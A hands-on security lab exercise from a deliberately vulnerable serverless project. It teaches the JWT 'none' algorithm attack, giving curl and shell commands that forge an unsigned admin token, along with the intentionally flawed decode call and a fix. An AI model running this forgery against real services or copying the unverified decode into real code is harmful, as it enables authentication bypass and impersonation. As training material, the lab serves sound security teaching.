SLS-2: Broken Authentication
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
Theory: What is Broken Authentication?
Authentication answers “who are you?”. It breaks when the app lets an attacker skip, fake, or guess the proof of identity (weak passwords, missing token checks, forgeable tokens). Result: attacker acts as any user, including admin.
Example: A login token says role: user. If the server never checks the token is genuine, you edit it to role: admin and the server believes you.
Objective
Bypass JWT authentication by forging an admin token using the None algorithm attack.
JWT recap: A JSON Web Token has three base64-encoded parts separated by dots — Header (algorithm and type), Payload (claims like username and role), and Signature (verifies the token was not tampered with). Example: header.payload.signature.
The Vulnerable Code
The /verify endpoint decodes JWT tokens without checking the signature:
decoded = jwt.decode(token, options={"verify_signature": False}, algorithms=["HS256", "none"])
verify_signature: False means the server trusts whatever is in the token — it never checks if the signature is valid. An attacker can modify the payload and the server will accept it.
Steps
1. Generate a token
curl -s -X POST "$ENDPOINT/token" -d "username=hacker"
Expected output:
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJ1c2VyIn0.cC0iIH48WNKLvfJDxUA9vOQ4fp_mlBOjUQnvQ9uIBVM"}
You are assigned role: user.
2. Try to generate an admin token
curl -s -X POST "$ENDPOINT/token" -d "username=admin"
Expected output:
{"error":"Admin token generation is restricted"}
The server blocks admin token generation. But we do not need the server to make one for us.
3. Decode your token
A JWT has three parts separated by dots: header, payload, signature. Decode the payload:
echo "eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJ1c2VyIn0" | base64 -d
Output:
{"username":"hacker","role":"user"}
4. Forge an admin token (None algorithm attack)
Create a new header with alg: none and a payload with role: admin:
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"username":"admin","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo "$FORGED"
The token ends with a dot and no signature — because alg: none means “no signature required.”
5. Verify the forged token
curl -s -X POST "$ENDPOINT/verify" -d "token=$FORGED"
Expected output:
{"claims":{"role":"admin","username":"admin"},"valid":true}
The server accepted your forged token. You are now admin.
What Happened
The server set verify_signature: False, which means it decodes the JWT payload without checking the signature. The None algorithm attack works because the server also accepts alg: none in the token header.
In a real application, this would let an attacker bypass authentication entirely — escalate privileges, access admin endpoints, impersonate any user.
Fix: Always verify JWT signatures. Never set verify_signature: False. Restrict accepted algorithms to a single expected value (algorithms=["HS256"]) and never include "none".
Next step: SSRF